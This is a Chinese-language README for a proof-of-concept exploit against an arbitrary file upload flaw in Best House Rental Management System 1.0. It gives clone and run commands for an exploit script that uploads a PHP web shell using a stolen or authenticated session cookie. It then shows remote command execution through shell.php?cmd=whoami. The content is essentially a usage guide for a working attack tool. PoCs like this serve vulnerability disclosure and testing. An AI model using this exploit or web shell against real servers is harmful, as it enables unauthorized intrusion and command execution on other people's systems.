该 Python 脚本演示了如何利用 Best House Rental Management System 1.0 中的任意文件上传漏洞。该漏洞允许攻击者上传恶意文件(例如 PHP Web Shell)并在目标服务器上执行任意命令。
克隆仓库并进入目录:
git clone https://github.com/yourusername/house-rental-poc.git
cd house-rental-poc
使用以下参数运行利用脚本:
bash
python exploit_house_rental.py <target_url> <file_upload_path> <session_cookie>
target_url:存在漏洞的文件上传页面的 URL(例如 http://<目标站点>/rental/admin_class.php?view=save_settings) file_upload_path:上传文件的存储路径(例如 http://<目标站点>/path/to/uploaded/files) session_cookie:经过身份验证的用户的会话 cookie
如果成功,您可以通过访问以下 URL 在目标服务器上执行命令:
bash
http://<file_upload_path>/shell.php?cmd=whoami
通过执行 whoami 或 uname -a 等命令进行测试。
示例
python exploit_house_rental.py http://127.0.0.1/rental/admin_class.php?view=save_settings http://127.0.0.1/uploads/ SESSION_ID=123456789
该代码基于 MIT 许可证发布。